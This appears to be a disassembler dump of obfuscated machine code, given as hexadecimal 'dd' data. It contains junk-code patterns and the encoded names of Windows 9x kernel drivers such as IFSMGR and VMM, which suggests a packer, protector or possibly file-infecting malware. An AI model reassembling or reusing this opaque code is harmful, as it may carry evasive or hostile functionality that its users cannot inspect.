dd 0C4835E8Ah, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 93721791h, 0F904B455h
dd 8E99326h, 50000000h, 9BB0D6Ch, 605FD72Eh, 8BF78B66h
dd 0E86161C8h, 0Dh, 0D5BCA9EBh, 606CD588h, 12825A15h, 598D8BF5h
dd 5A07E02Ch, 0A9C281F8h, 81000063h, 0BAEBE1E9h, 0BB01h
dd 31530000h, 0E01D1DBDh, 348B5807h, 82BF661Ah, 4EF681C8h
dd 290B2350h, 0E016AD9Dh, 61F68107h, 817B7402h, 8835CDD7h
dd 15F6811Ch, 310E9CA9h, 0E00439BDh, 1A348907h, 83CA8B66h
dd 816604EBh, 8131A5D0h, 0FF9CCCFBh, 0BB850FFFh, 8BFFFFFFh
dd 0E02DF5BDh, 13E807h, 42DE0000h, 16779207h, 59D852DFh
dd 0C874119Ch, 39DE5775h, 699D8BA6h, 5807E004h, 0E9E18166h
dd 31C08141h, 66000072h, 8ABCD981h, 68h, 8B665E00h, 634FFCAh
dd 19899D23h, 0F5A07E0h, 0C84h, 68F0F00h, 89000000h, 0E026C5BDh
dd 1BEA8107h, 8B12476Eh, 0E030DD9Dh, 54F28107h, 0F590DFEh
dd 68Eh, 99958900h, 8107E01Bh, 0DF2297C2h, 0C381663Ch
dd 8B527390h, 0E01FBD8Dh, 30048F07h, 719D8953h, 5F07E025h
dd 332D9D89h, 0EE8307E0h, 61BD0903h, 4E07E02Fh, 0FE8h
dd 417F9E00h, 8392BBA0h, 0D639AEB2h, 989057D7h, 21D58D8Bh
dd 815907E0h, 0FF8E8CFEh, 72850FFFh, 0EBFFFFFFh, 53464934h
dd 2052474Dh, 444B5620h, 20202020h, 4D4D5620h, 20202020h
dd 49575620h, 2032334Eh, 44585620h, 2052444Ch, 20h, 2 dup(0)
dd 7B3E900h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 0E955EEC3h, 0Bh, 9E05D2ACh, 74723EA0h
dd 60341793h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 5DC35242h, 0C38B6660h, 5E595051h, 0BFF86061h, 4A24D610h
dd 185C761h, 7E39Ah, 0F8000000h, 6AC68BFCh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 82B2C357h
dd 1755CCFAh, 0ED2EBF16h, 0D8B70FF5h, 18B0Fh, 0C1F80000h
dd 9E910E8h, 0E000000h, 40A427B9h, 0D9059FAEh, 1810Fh
dd 66F50000h, 0E908C8C1h, 12h, 0F37AE022h, 0DD3B2E6h, 723A1628h
dd 9DCABB38h, 85898E90h, 7E39A05h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 3AC35343h, 63B42AEAh, 3830F60h
dd 0F000000h, 6661F0BFh, 0E908CBC1h, 0Ch, 62828A8Fh, 0D3353776h
dd 0E9E589FEh, 50F38160h, 5244CEB5h, 850Fh, 615A0000h
dd 0F40FB83h, 3785h, 0BE900h, 0D8690000h, 66F62536h, 0EFB521A9h
dd 0D9BD8D25h, 0E907E399h, 0Dh, 982E301Ah, 0D7838DADh
dd 23877BDAh, 1D2E96Ch, 840F0000h, 4, 615B5360h, 0F0DFB83h
dd 7A85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1C04h, 0C3524200h, 0B035824Fh, 20CD6965h, 0E1BD8D45h
dd 6A07E399h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 0AE26C350h, 0BD9460A5h, 0FE937h
dd 5CBA0000h, 8A4D7221h, 3FC86E58h, 24F852h, 15AE946h
dd 0F600000h, 28Eh, 0F39B700h, 58Ch, 9B0AB800h, 83610828h
dd 850F01FBh, 54h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 0A4C35040h, 2CA821F2h, 8D53CBDDh, 0E399E9BDh
dd 8830F07h, 60000000h, 66FBBF0Fh, 0E961C18Bh, 100h, 13E9h
dd 22FFD200h, 15780BAAh, 0BC9ABF62h, 713CFEBCh, 5F3C6C71h
dd 0F2AFB83h, 8C85h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 7CB41D8h, 0A79EE285h
dd 0F1BD8D60h, 6A07E399h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 9548C351h, 1860Fh
dd 0E9F50000h, 8Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 0C6C35747h, 0B9C0237Bh, 0E93042D1h, 11h
dd 85422482h, 0D8033FFFh, 0FB393D80h, 0B3C05DA2h, 27FB836Fh
dd 35E850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0A31C04C3h, 0F9BD8D21h, 6A07E399h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 21FDC355h, 5D3A03C1h, 0F8AF6168h, 9A09BD89h
dd 66FC07E3h, 8E9C88Ch, 69000000h, 1F3BBA93h, 24BE18FBh
dd 52006A03h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h
dd 0C3524200h, 0BCF0F39h, 0FC00AF8h, 1EE85h, 0C830F00h
dd 0F000000h, 683h, 850F00h, 8D000000h, 0E3A0E8B5h, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 5E0C38DDh, 8BF94D32h, 0E3A13B85h, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 4154294h, 8C79CD38h
dd 11E950h, 43C90000h, 0DF36B25Bh, 24064432h, 0CF9952C6h
dd 892E95F5h, 6A2414h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 0E944A4C3h, 13h, 5AB64611h, 0A26A4B65h
dd 0CB1D1EB6h, 1434CE13h, 0F52F287h, 0FE244C01h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 69C35343h, 2DA00307h
dd 0BE632AB3h, 6A5A22h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 0C2835EC3h, 55006A24h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0B2E6F37Ah
dd 728966D3h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 0DC0C7689h, 0BFB08FBDh, 0F603CD8h
dd 480h, 0C1BA6600h, 0CF8B56ABh, 0CEC1615Ah, 56006A10h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 6E927h, 3C270000h, 0FD7DADC8h, 800F60h, 0E9000000h
dd 6, 0B7BB2364h, 0F611231h, 880h, 28F0F00h, 60000000h
dd 72896661h, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 0D49FB709h, 0CD14D235h, 57006A04h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 37A974C0h, 8CE96Eh, 8BFC0000h, 0E3A13B85h, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 462FE6C6h, 56E3FB4h, 1840F62h, 0F9000000h, 0A0E8B58Dh
dd 800F07E3h, 0Fh, 0AE9h, 0F7F7A200h, 47995AB2h, 8D8E34D8h
dd 0E357A085h, 10830F07h, 0E9000000h, 0Bh, 0CAC3C38Ah
dd 24397C15h, 0FF591A73h, 53006AD0h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0C06D0CFDh
dd 8589FCA3h, 7E39A01h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 47C35343h, 18269C98h, 0E9FC0303h, 14h
dd 1BC7544Bh, 0AF10CD59h, 3D1BABB1h, 48E8C592h, 5AF950D6h
dd 13E9h, 27315200h, 59F1B22Ch, 0D230AE4Bh, 0FB99A681h
dd 822A10C2h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1B04h, 0C3534300h, 0DFA8BACEh, 8C1DB9F4h, 0BE860h, 0F9520000h
dd 5E5F9074h, 0C02D263h, 0BF0F5A08h, 858B61DBh, 7E39A01h
dd 13E9h, 1246B500h, 0B8E2E731h, 6B9AECFDh, 238F26EDh
dd 0E64E0274h, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 44BFCC84h, 71CFD53Dh
dd 1870Fh, 60F50000h, 0DE9h, 2EA02E00h, 5C244488h, 0A29ACDEBh
dd 61F87A06h, 0BD83FC60h, 7E3A13Bh, 3C850F00h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 8B8C350h, 0A70F016Fh, 85C7F5FCh, 7E3A13Bh
dd 1013Fh, 0AE9h, 1FEAF100h, 4BFB9090h, 0E95D3BB0h, 1
dd 20CDF9h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 7E39A09h
dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 7E39A05h, 7F34583Bh
dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 7E39A01h, 8B04EBh
dd 8B61C5EBh, 0E39A0185h, 6ACF07h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 5160B1C3h, 9E9615Ah
dd 82000000h, 0A7BBB34Ch, 19671577h, 93CF8160h, 5610C5C7h
dd 0C1F4B866h, 830F6158h, 1, 0E9C08BF5h, 148h, 50h, 54h
dd 58h, 5Ch, 60h, 64h, 68h, 6Ch, 0B0h, 0B4h, 0B8h, 0BCh
dd 0C0h, 0C4h, 0C8h, 0CCh
dword_5869B8 dd 0D0h, 0D4h, 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0)
dd offset dword_5869B8+20h
dd 0A150EBh, 0A1CC858Dh, 9D8B07E3h, 7E01BA1h, 0A30C8589h
dd 85C607E3h, 7E00759h, 0A9BD0954h, 6807E02Ah, 87160BB3h
dd 0A890Fh, 66600000h, 14B8F18Bh, 6144870Bh, 76240481h
dd 50674C5Ch, 9E8h, 53093600h, 0FCA02CBDh, 0F580E045h
dd 0FF5F5EBBh, 0E0292DB5h, 0B9BD8B07h, 8D07E018h, 0E37FE885h
dd 9D8D8907h, 0FF07E033h, 3DB589D0h, 8907E029h, 0E3A31085h
dd 0E9FE8B07h, 40h, 56FEB70Fh, 0A30CB58Bh, 68907E3h, 0A30C8583h
dd 5E0407E3h, 0B58D60C3h, 7E3A1CCh, 6A560FEBh, 0FF36FF00h
dd 0E3A31095h, 0C6835E07h, 3E8304h, 0C361EC75h, 19899531h
dd 0BD8B07E0h, 7E02CD1h, 0A3A5858Dh, 830F07E3h, 6, 11198D89h
dd 858907E0h, 7E018C1h, 10CE9h, 0DC58E000h, 55C9738h, 0A188838Ah
dd 0E0A1D76h, 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh
dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh
dd 2F6D3733h, 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h
dd 60206020h, 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h
dd 0B7EDA693h, 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h
dd 53752060h, 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h
dd 60C950F0h, 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h
dd 60F76DB9h, 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h
dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh
dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh
dd 2F6D3733h, 0A1E357Dh, 3407000Eh, 0A0A3D25Dh, 1E59h
dd 9 dup(0)
dd 0CFCE900h, 87680000h, 0E907E3A7h, 0FFFCDBD3h, 0E3A85E68h
dd 0DBC9E907h, 3068FFFCh, 0E907E3A9h, 0FFFCDBBFh, 0E3A9FF68h
dd 0DBB5E907h, 7368FFFCh, 0E907E3AAh, 0FFFCDBABh, 0E3AB3B68h
dd 0DBA1E907h, 0F068FFFCh, 0E907E3ACh, 0FFFCDB97h, 0E3ADE468h
dd 0DB8DE907h, 9A68FFFCh, 0E907E3AEh, 0FFFCDB83h, 0E3AF9568h
dd 0DB79E907h, 8768FFFCh, 0E907E3B0h, 0FFFCDB6Fh, 0DBF5AF97h
dd 506A2209h, 0C7E1997Eh, 3A540CF5h, 0B2CC8668h, 0DDBF745Dh
dd 53370923h, 0CAAD7F99h, 4026F812h, 0A18C6C86h, 0D6FC337Eh
dd 2D94B21h, 83884228h, 0C664868Ch, 0A14D6487h, 0D62929BAh
dd 2FF0D6D0h, 92898E46h, 3D42FCE0h, 98969B46h, 82F5FAB4h
dd 0EBA58963h, 83EBEFE6h, 6474AB4Ah, 4BA81D23h, 0D2F51B01h
dd 29B9A5DFh, 7F994497h, 0D28C6E48h, 7CD0D6CDh, 41809794h
dd 0C4C98367h, 0A5DFD2CDh, 345729B9h, 29B9A57Dh, 7CCFA6F9h
dd 0FED81776h, 0DED3F61Ch, 9829B9A5h, 5E89A45h, 0A04474Dh
dd 6C2E5991h, 30161419h, 0E6255C76h, 0D9CAEEC3h, 2F358821h
dd 90954F35h, 0D9CB6549h, 9B533821h, 0F2B19896h, 0A7AC570Fh
dd 0ED09C3A9h, 0E8044FA4h, 12F8429Fh, 0DB073E58h, 22A679F8h
dd 0A59FA55Ch, 20005BFh, 0F55D621Ch, 1F0557ACh, 18C37B5Eh
dd 0CFE220FEh, 0D53D4h, 57000005h, 868B452Bh, 0CEE8A288h
dd 32557EA2h, 29BAA07Fh, 0A11D94B7h, 65929BAh, 37F1D52Fh
dd 0A7CAE18Ch, 2E5AA757h, 0B2FF22E1h, 0CC21DA9Ah, 82C9CE79h
dd 21DA9B2Bh, 0FE5CB112h, 53D4E0C0h, 41EBh, 4FD13500h
dd 3CB6D9F0h, 0C22E5AA0h, 9FD1E003h, 5AAD21DAh, 4A63AAAFh
dd 5121DAA0h, 0B1AFB46Ch, 180E13CDh, 614496EBh, 8DEEFEA9h
dd 0EBACDA30h, 0ADEC53D4h, 0DA94278Ah, 0F6FC4F21h, 0EA72h
dd 9AC6BC00h, 2E5E7E4Ch, 0B1ABB17Ah, 0E0C11CBh, 0CA826B2Ch
dd 1E23CEC5h, 69803A20h, 0E6AA072Ah, 719429B9h, 29B9E740h
dd 0B90CE336h, 61661E07h, 1917646Ah, 88627933h, 93E3E8A2h
dd 0BEC9E2A5h, 585E0970h, 0F9E3DBF6h, 0B49A29B9h, 0CFA9E0FAh
dd 0F91C33EDh, 29B9F5B8h, 6B656BBEh, 753C5F85h, 129B9F5h
dd 0A6FE03AEh, 83A6BD7Ah, 2E59D63Fh, 204C66B9h, 0F91C33F0h
dd 26779156h, 0A07A91E4h, 0B3EA04BEh, 450F0987h, 0C6CC45FBh
dd 5730EACCh, 0E63245E3h, 0CAE10FF8h, 0B2000009h, 24F610CAh
dd 996B853Dh, 10E2FCB4h, 83556F27h, 78CDE7A1h, 3EF8DA4Fh
dd 0B46E5224h, 2DE5C89Ah, 0A15B4113h, 99BCA787h, 21D6FA18h
dd 0C652EC5Eh, 0A14D6487h, 654E29BAh, 957CD6ADh, 36E1D8DDh
dd 93543630h, 0F7EEF3ADh, 7A60324Ch, 0D1ACA6C0h, 0B6D9F04Fh
dd 2E5AA03Ch, 236A6FC2h, 21DA9F8Ah, 9FFD52B3h, 53D4EB63h
dd 0C38Ch, 0ECC6D600h, 51484D05h, 0B16B514Bh, 8A6F49ACh
dd 803A20D2h, 847E847Bh, 9CE3E8A2h, 29BAA222h, 1F39F3D9h
dd 0A8AD674Dh, 4C63C050h, 8B4A330Dh, 3F45F0A8h, 5A7DC6FCh
dd 0E3FD502Eh, 0B3CA69B7h, 0FBB39A74h, 0F4ACB2F5h, 0ABEA2677h
dd 0B8072988h, 0FC025529h, 99738ADDh, 11E3FDB7h, 2E9C752Fh
dd 47E632C3h, 8F3305Eh, 0A1890000h, 14FBCDE7h, 8B70425Ch
dd 0FEE7B9D3h, 785A2C46h, 664FA4BEh, 0FB15CFB1h, 718B4529h
dd 0EA04BC9Fh, 5E783218h, 4170937Eh, 3D21D6F9h, 492B31CBh
dd 0A0B10023h, 6A8D29BAh, 29BAA147h, 0B205DC2Fh, 351BED07h
dd 502A617Bh, 0E5AE5B6Eh, 0D553C2C0h, 0DC96782Ah, 0B8DAE0D7h
dd 868B452Bh, 0CEE8A288h, 0E2BCCB84h, 4B4247FFh, 102FF145h
dd 0F9E0BAF9h, 0F39E583Ah, 9FA45C41h, 75FA2A8h, 812E5AA6h
dd 0B5D8172Eh, 21DA99FCh, 2C292F82h, 92CE5245h, 0E2DF3CFh
dd 14C6D4F7h, 6DC03532h, 23001068h, 83ECE90Ch, 0F74A2F91h
dd 0E2C7A1E0h, 7B822F2Ah, 0A9FC308Fh, 846A44A3h, 0F8DEB0CAh
dd 113C59E5h, 0E7922201h, 5BD7A60Eh, 0ACDAC3DFh, 821h
dd 9FB9735Bh, 142EE6CDh, 8BA55D42h, 0FE18D0B9h, 76904A2Ch
dd 0A183B821h, 17FBCDE7h, 8E71435Dh, 4EABCD6h, 6550304Ah
dd 0D6F86F42h, 0FB950721h, 868B452Bh, 53644923h, 17FB9A43h
dd 0EFF5A067h, 9FB6759Bh, 0B3FE2160h, 0CB29BA88h, 13217478h
dd 90720F1Fh, 0CA4F478Ah, 0D6292E59h, 0A38090BCh, 168E698Ch
dd 99EC2678h, 8C2A882h, 7C361CEEh, 32F11F77h, 0B6C6F81Bh
dd 0A4502E55h, 0A9804E4Eh, 1E35E0A3h, 9EA35B44h, 6899183Bh
dd 92E521DAh, 0A882E1E7h, 17F108C2h, 78767B35h, 262CD78Fh
dd 520CF2C4h, 0C2BF54Dh, 25361BF5h, 9BA23568h, 6E731E83h
dd 0CCD18970h, 0C5242AD5h, 7997D0A2h, 0FAD32626h, 0E630F2A8h
dd 52A2D0B9h, 2A000007h, 9C6E8842h, 11E3FDB5h, 885A742Ch
dd 0FBCDE79Fh, 0F0455F19h, 0B67052C7h, 2CE6CA9Ch, 0A55D4012h
dd 19D3B98Bh, 11341FFFh, 21D6F7A0h, 0D1CA64D6h, 4B05E94Fh
dd 8DA44F46h, 59025C6Ah, 7087DA2Eh, 0DFF6B096h, 7C612005h
dd 1DC8BFC4h, 0CACF896Bh, 996BCDD3h, 9CF4F9B3h, 0C6A0B774h
dd 0C5242AE4h, 76E8F4A2h, 26FF5226h, 0E633B7DAh, 0DED806EFh
dd 9E000006h, 10E2FCB6h, 85577129h, 0FCCEE8A0h, 6F415B13h
dd 64B9D38Dh, 2AE4C67Bh, 0A05A3E10h, 19D1B486h, 8D472DFFh
dd 85A89373h, 21D6F72Ch, 0D146E052h, 9AD9F04Fh, 0A079385Bh
dd 0B20529BAh, 58E69ACh, 80AC2E59h, 1969DD7Fh, 55747ACFh
dd 80ACEB02h, 499A20ACh, 0CCC6CC9Eh, 40122CE6h, 0FBB5995Ah
dd 417093F6h, 3D21D74Bh, 8F943FEAh, 6043E937h, 0C3E6FDA8h
dd 2675ABFBh, 1F2D113Dh, 3EF7BD5Dh, 0EBF1A98Ch, 886279CCh
dd 92758FA2h, 0D1B45681h, 53350F26h, 0FA319399h, 7B2B1FCEh
dd 0E2D9DE96h, 0B89B35DEh, 18D2B8B2h, 7D55BB13h, 0F3BA8B80h
dd 0F40BB6ECh, 5A5EA1D1h, 0AB84D72Eh, 0EE102965h, 1667957Eh
dd 66000006h, 0D8AAC47Eh, 4D1F39F1h, 0C496B068h, 370923DBh
dd 2C819B55h, 0F2AC8E83h, 682206D8h, 0E1997C4Eh, 550FF5C7h
dd 4D705B3Bh, 21D6F664h, 2B0EA81Ah, 23868B45h, 0A0F0C1E4h
dd 338629BAh, 934D332Dh, 7E633D7Ch, 0CFCAC1C6h, 29BAA0E2h
dd 0EE45499Ch, 0F0065826h, 5319399h, 0D9051C1Bh, 903E652Ch
dd 0BE1D2316h, 7C1A57Fh, 641E0402h, 0B7BD685Fh, 5A3D8A74h
dd 34398C2Eh, 0DA34C0EDh, 3BF5DB21h, 974F3836h, 126F9C92h
dd 15EBFCFh, 0D1927852h, 362D32EAh, 898F868Bh, 0D48A4783h
dd 477053h, 0D1BA0000h, 4903E94Fh, 615B879Eh, 0EB770D98h
dd 5073D2D8h, 2E5A22A2h, 3D8489DCh, 21DA2270h, 8B90482Bh
dd 0EBF0A88Dh, 9AE53A83h, 76D4298Ah, 53D49548h, 13CBAE88h
dd 0DD00170Eh, 21DA15D4h, 0CD5157AAh, 115h, 8B452B17h
dd 9F123574h, 0D729BAA0h, 0E0FC8084h, 0A7415CEAh, 745654A1h
dd 0D1B7B5BAh, 2E141217h, 7F3F5A74h, 1E29BA10h, 0D7917738h
dd 1630DBD2h, 661E05DFh, 6A646A61h, 6DC5CA84h, 2E6D84A3h
dd 0FE5CCEFh, 0E59129BAh, 1BEF11B7h, 0BBC16CC3h, 5A49AE78h
dd 563C682Eh, 0B4D60894h, 16CEB769h, 0F32F110h, 21D9DBA2h
dd 0C4DE89DCh, 94AB8898h, 0BEF31655h, 0B821D9DBh, 0DA1C5F65h
dd 0DC267757h, 28377A9Dh, 7B6429B8h, 0AE92ECC3h, 244349F4h
dd 0FEE0BAD1h, 27FCB5D8h, 0BEA729B8h, 330A0106h, 903BF5D9h
dd 43A2CEE5h, 68517D06h, 7CEB1B89h, 22BC478h, 9FBDC983h
dd 6F75209Fh, 9F593B0Dh, 323906C6h, 8CBAA3E6h, 461h, 5F79331Bh
dd 0D4EEA68Dh
dd 4B651D02h, 0BED89079h, 36500AECh, 6143F8E1h, 0D7BB8DA7h
dd 4E31031Dh, 0C4AA7C96h, 2510F00Ah, 0D6F4AF02h, 0BB55C721h
dd 788F492Bh, 78B9C64Ch, 6E74AC2Dh, 12FBD50Ch, 585E555Ah
dd 0A4BE785Eh, 0F04FD1AAh, 0A03CB6D9h, 6FC22E5Ah, 9F8A236Ah
dd 52B321DAh, 0EB639FFDh, 0CF8C53D4h, 0D6000000h, 868B452Bh
dd 0E7ECA688h, 0BAA21EA0h, 1DD7BD29h, 0DA4C706h, 6929BA9Eh
dd 0DCAE1016h, 0DF373CF6h, 1DBF231h, 0FC5F641Ch, 0BA9DD8D9h
dd 0A04B9E29h, 0E183B9Ah, 482E5A7Fh, 0CAA4DBF5h, 32292EE8h
dd 0EB48D82Ch, 0F7A6B1D4h, 0AE42677h, 47666C26h, 84C6588h
dd 733229B8h, 0B8086150h, 1FCA1D29h, 7CCE508h, 5FB229B8h
dd 0E1C39DB4h, 0D7823C20h, 0C7AC86BDh, 61130A0Fh, 0C5BCC17Bh
dd 29E3C5BFh, 32C3A650h, 204E37E6h, 36Dh, 536D270Fh, 0C8E29A81h
dd 3F5911F6h, 0B2CC846Dh, 2A44FEE0h, 5537ECD5h, 0CBAF819Bh
dd 4225F711h, 0B89E708Ah, 1904E4FEh, 0D6F3BBF6h, 0B751C321h
dd 788F492Bh, 7D11F34Ch, 7A801D3Fh, 0A6604618h, 452B928Ch
dd 0A288868Bh, 0CD84CEE8h, 0C5DC5BC5h, 5AA5C4A2h, 4428022Eh
dd 59E8868Ah, 0BC2E39E2h, 8F4497B6h, 872A4D8Ch, 0EF21D9E1h
dd 0C253969Ch, 8485AF18h, 409C1AAh, 6DB3070Dh, 0FE94B7CEh
dd 788A84EBh, 58C82025h, 34A1C4DBh, 928A2401h, 0AAE9283Fh
dd 0E3FF2A87h, 0FB015485h, 9D081B01h, 3DF6CBD9h, 4A1C36E1h
dd 2DD1AA64h, 0C28A069Fh, 2B7ABD9h, 0DDC50000h, 50370923h
dd 0C7AC7E98h, 3A23F50Fh, 0B4966882h, 228BE0FAh, 37510BEDh
dd 0ADC78165h, 2640F8DBh, 9AB46E54h, 5ACCFBAh, 7121D6F3h
dd 452B65FFh, 0E22E868Bh, 330B2E45h, 0C52E5A8Dh, 510E5872h
dd 0C03DB45h, 946F421Ch, 55788F3Ah, 267A1911h, 8E462D07h
dd 668E9289h, 29AC900Eh, 0BB0E2D33h, 2CE6CAA4h, 652C3027h
dd 0DE6BDB97h, 8269666Ch, 95348047h, 0BCA2868Ah, 0B9ADFD02h
dd 0F5CB7177h, 0DFF6A14Ch, 0CC49DEBCh, 19FE5871h, 0C2838408h
dd 8F3A596Fh, 0FAE1938Ah, 9B463D42h, 955C5884h, 7CD819EAh
dd 4FD12976h, 779AD9F0h, 6E4C883Ah, 65C49844h, 0E4885102h
dd 0B2FF2239h, 0CC6E4BB7h, 0F1147379h, 72EAF4E4h, 0B9F80F62h
dd 0B5A577Ah, 0D1246D2Dh, 31EBD1CBh, 0EF05EE1Ah, 2FB7F42Fh
dd 2CB4A50Ch, 0D37ED16Dh, 0B3996BCDh, 168220F9h, 321BA2BEh
dd 1BC04h, 1ED8C000h, 934B3204h, 0AC2A779h, 7D351EF0h
dd 0F5AF9163h, 0E85D86DBh, 60324C06h, 0D6A8C27Ch, 4F213BF3h
dd 0B595AF69h, 0F20AA7CAh, 27421D6h, 8B452B68h, 45E22E86h
dd 3215EF2Eh, 677E757Ah, 0BAA16D44h, 0B0B60929h, 5A8F096Dh
dd 122C7F2Eh, 1BF58AC8h, 267A8038h, 0FA263DFAh, 0D165897Bh
dd 2CE4CB3Fh, 7F853027h, 6569FD20h, 855F267Ah, 0C1E0E69Eh
dd 967D576Eh, 0DCE2D9DEh, 559F8DFh, 60B09148h, 6BB2416Ah
dd 0CA750612h, 123574B3h, 70C84A9Fh, 0E8232BD7h, 0B9AE4E0Bh
dd 0DDD4F70Eh, 9970C86Dh, 9DFD4046h, 0B3756854h, 233AF2D9h
dd 0A886B100h, 747ACD6Ah, 0A5FD0255h, 82A5BC7Bh, 6F47C453h
dd 6F4960B3h, 0D4CBD088h, 0AF956FCEh, 2204DEF5h, 0DD006368h
dd 70C93BD4h, 0A6AC57AAh, 0CB8C7244h, 0AC8530E8h, 9F218F14h
dd 0CA9AC8B1h, 0B2000000h, 24F610CAh, 996B853Dh, 10E2FCB4h
dd 83556F27h, 78CDE7A1h, 3EF8DA4Fh, 0B46E5224h, 2DE5C89Ah
dd 0A15B4113h, 99BCA787h, 21D6F118h, 2B52EC5Eh, 2E868B45h
dd 0B2E45E2h, 2E5ABEFBh, 0E4102A7Dh, 3537A63Ch, 0A4549A71h
dd 0D0D40E55h, 32DDAEEAh, 0C39DDC1Bh, 2C2328E0h, 0DA328031h
dd 9DA3F621h, 7894805Ah, 0BA9CF626h, 5904FB00h, 0B6705654h
dd 2AE4CA9Ch, 5E8C225h, 0A1A66046h, 3FAFFAAh, 7E76BAFDh
dd 42291681h, 0A587858Ah, 0F9BAE6EBh, 0FD3259A4h, 0B67056A0h
dd 743D609Fh, 0AEA7E7Ah, 7D4FB1B7h, 0DAD8DD97h, 0DF3CDF1h
dd 7A595853h, 0D225EA7Eh, 0FF2C2227h, 0B87258A2h, 2CE6CC9Eh
dd 3F927h, 248F0000h, 89432B66h, 0E6A08684h, 4800E3E1h
dd 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h, 25DDC2C0h
dd 833B2220h, 89526D7Eh, 4C281E2h, 81000000h, 4EAh, 24148700h
dd 241C895Ch, 7C6068h, 243C8900h, 107068h, 242C8900h, 232ABB53h
dd 0B951162Eh, 43815432h, 0E1C1D9F7h, 7FE18102h, 4174A332h
dd 7EF18149h, 31616FA4h, 0DF8959CBh, 7DD6685Bh, 24890000h
dd 24048324h, 0EC835D04h, 243C8904h, 0FF08458Fh, 815D2434h
dd 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFFCCEEBh, 84161AAEh
dd 1819A7BDh, 76B8D27Ch, 307E3B1h, 4BE0FFC5h, 0BA79F613h
dd 831B0C80h, 5A0EEAA4h, 0E0432FB8h, 0C2753BE7h, 374E111Bh
dd 61211F08h, 5C150B1Fh, 366CE2E0h, 0D11F40FBh, 41646FCAh
dd 8255AD4Dh, 0A730D4DEh, 1458A9D8h, 6801DBDAh, 0CE73EF9Dh
dd 0C37E0FBFh, 0E733DC20h, 1479EE45h, 28781B9Ah, 571B16DDh
dd 1B2629E6h, 944ACC5h, 0E800C0A3h, 13h, 30D6E853h, 0AF7771AAh
dd 64C873Eh, 0BFF1807Ch, 0F051B53h, 589h, 0F5F1BB00h, 815A64DCh
dd 5F21C2h, 0A492B800h, 0F0812C09h, 2C09B30Ah, 0DE9h, 0C05AE300h
dd 0DE9CB096h, 7D86B150h, 328BCD88h, 0EE81FA8Bh, 53C1EC83h
dd 7DCCCF81h, 0C6817888h, 2A609072h, 0C887F681h, 8B667986h
dd 8B6656D8h, 8B028FCFh, 3EA83DAh, 0BE8h, 44F25900h, 0B7EE4346h
dd 4F42D66Ah, 5F94F380h, 850F484Ah, 21h, 0DE9h, 91A26700h
dd 0B2B9138Ch, 0E75B95Ch, 26E999B8h, 0EB000000h, 0BA12D944h
dd 0B5AA0CE4h, 2EE3801Ah, 0FFFF91E9h, 9E0B00FFh, 440664EEh
dd 17DA98Ah, 3E4D7E0Dh, 4FC20815h, 75E976h, 66600000h
dd 4A8D88Ch, 35840Fh, 16A0000h, 2F01B5FFh, 858D07E0h, 7E37FE8h
